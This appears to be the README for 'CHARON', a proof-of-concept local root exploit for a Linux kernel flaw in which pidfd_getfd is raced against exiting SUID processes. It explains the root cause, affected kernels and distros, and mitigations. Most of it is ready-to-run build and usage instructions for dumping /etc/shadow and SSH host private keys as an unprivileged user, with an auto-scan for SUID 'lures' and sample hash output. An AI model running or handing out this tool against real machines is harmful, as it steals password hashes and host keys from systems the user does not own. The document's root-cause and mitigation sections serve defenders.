____ _ _ _ ____ ___ _ _ / ___|| | | | / \ | _ \ / _ \| \ | | | | | |_| | / _ \ | |_) | | | | \| | | |___ | _ |/ ___ \| _ <| |_| | |\ | \____||_| |_/_/ \_\_| \_\\___/|_| \_| ferries fds across the exit-mm() Styx CVE-2026-46333 / Linux <= 6.12.89
A tight, dependency-free PoC for CVE-2026-46333: the
__ptrace_may_access mm==NULL bypass disclosed by Qualys
on 2026-05-15. Races pidfd_getfd(2) against a dying
SUID-root process to lift its open /etc/shadow file
descriptor through the brief mm-NULL window in do_exit().
"It is a fearful thing to fall into the hands of the living God."
— Hebrews 10:31
Run as an unprivileged user on an affected box; it dumps
/etc/shadow to stdout.
$ ./charon [banner on stderr] [*] lure /usr/bin/chage target /etc/shadow root:$y$j9T$ztS5H...$hz9W87TlqxEW...:... daemon:*:20582:0:99999:7::: bin:*:20582:0:99999:7::: ...
Typical hit rate: under one second on a 4-core VM (~137 tries in the smoke test).
__ptrace_may_access() short-circuits its dumpability
check when task->mm == NULL. The fast-path was written
for kernel threads (swapper et al.), which legitimately have no
mm and should never be ptraced. But do_exit()
runs exit_mm() before
exit_files(), which means a userspace SUID process
briefly has:
task->mm == NULL — mm reaped, dumpable check skippedsetreuid() drop — access check passespidfd_getfd(2) trusts that access check and hands the
attacker the SUID process's open file descriptors.
do_exit() ├── exit_mm() ← task->mm = NULL ├── ... ← __ptrace_may_access() now lies └── exit_files() ← fd table reaped
Jann Horn flagged the FD-theft shape on lore.kernel.org in
October 2020. The fix sat in maintainer review for ~6 years before
Qualys brought it back to the front of the queue. Upstream commit
31e62c2ebbfd
(Linus 2026-05-14).
| Stable tree | Status |
|---|---|
linux-6.12.y (≤ 6.12.89) | vulnerable |
linux-6.6.y (pre-fix backport) | vulnerable |
| mainline ≥ 6.15-rc1 | patched |
| Distro | Kernel | Status (2026-05-15) |
|---|---|---|
| Debian trixie | 6.12.86+deb13 | vulnerable |
| AlmaLinux 10.1 | 6.12.0-124.55.3 | vulnerable |
| Ubuntu 26.04 | 7.0.0-15 | check |
| Fedora 44 | 7.0.4-200 | check |
Status table will be updated as stable-tree backports land.
# Tiny 38 KB static binary (recommended) $ sudo apt-get install musl-tools $ make static # Or just the standard glibc build $ make
Output: a single ELF ./charon.
$ ./charon # dump /etc/shadow (default) $ ./charon -q # no banner / progress, just shadow on stdout $ ./charon -v # show per-hit + final stats $ ./charon -r 5000 # more patience for slow systems $ ./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign bait) $ ./charon -a # auto-discover SUID/SGID baits if built-ins miss $ ./charon -L # list candidate baits without trying any $ ./charon --help
--auto walks /usr/bin,
/usr/sbin, /usr/local/{bin,sbin},
/usr/lib/openssh, /usr/libexec,
/bin, /sbin, finds every SUID/SGID regular
file (excluding interactive baits like su,
sudo, newgrp, pkexec), and
tries each as a bait against the requested target. Per-bait budget
is tight (5 rounds × 2000 inner) so a full scan finishes in ~10 s
even when nothing matches. --list-baits is the
read-only version.
| Code | Meaning |
|---|---|
0 | Success — file contents on stdout |
1 | No SUID lure on this system opens the requested file |
2 | Kernel appears patched (CVE-2026-46333 closed) |
3 | Ran out of rounds without a hit (rare; try -r 5000) |
4 | CLI / IO error |
CHARON ships with four known SUID lures. Adding one is a 3-line
edit to the lures[] array in charon.c.
| Binary | File it opens | Distro coverage |
|---|---|---|
/usr/bin/chage (chage -l <user>) | /etc/shadow | Most Debian, Ubuntu, Fedora |
/usr/sbin/chage | /etc/shadow | RHEL / Rocky / Alma family |
/usr/bin/passwd (passwd -S <user>) | /etc/shadow | Most distros |
/usr/lib/openssh/ssh-keysign | /etc/ssh/ssh_host_*_key | Distros with HostbasedAuthentication |
31e62c2ebbfd directly.pidfd_getfd(2) via seccomp on production hosts.chage and passwd
if you do not need unprivileged users to query password aging.no_new_privs
on the host blocks the primitive entirely — every "SUID" inside
the container becomes inert, leaving Charon with no prey.The Google kernelctf VRP challenge VM runs the player's bash
inside an nsjail sandbox with
clone_newuser:true (uid 0 unmapped),
chroot:/chroot, and no_new_privs:1. Under
no_new_privs the setuid bit is inert, so there are no
real SUID prey inside the sandbox, and /flag lives on
the host outside the chroot. CHARON therefore cannot win kCTF VRP.
It remains a legitimate Linux LPE on bare-metal Debian / Ubuntu /
RHEL family installations.
⛵ STYX ⛵
╔══════════════════════════════╗
║ do_exit(): ║
║ ├── exit_mm() ← task->mm ║
║ │ = NULL ║
║ ├── ... ← ferry ║
║ └── exit_files() ║
╚══════════════════════════════╝
Educational and authorized-defensive use only.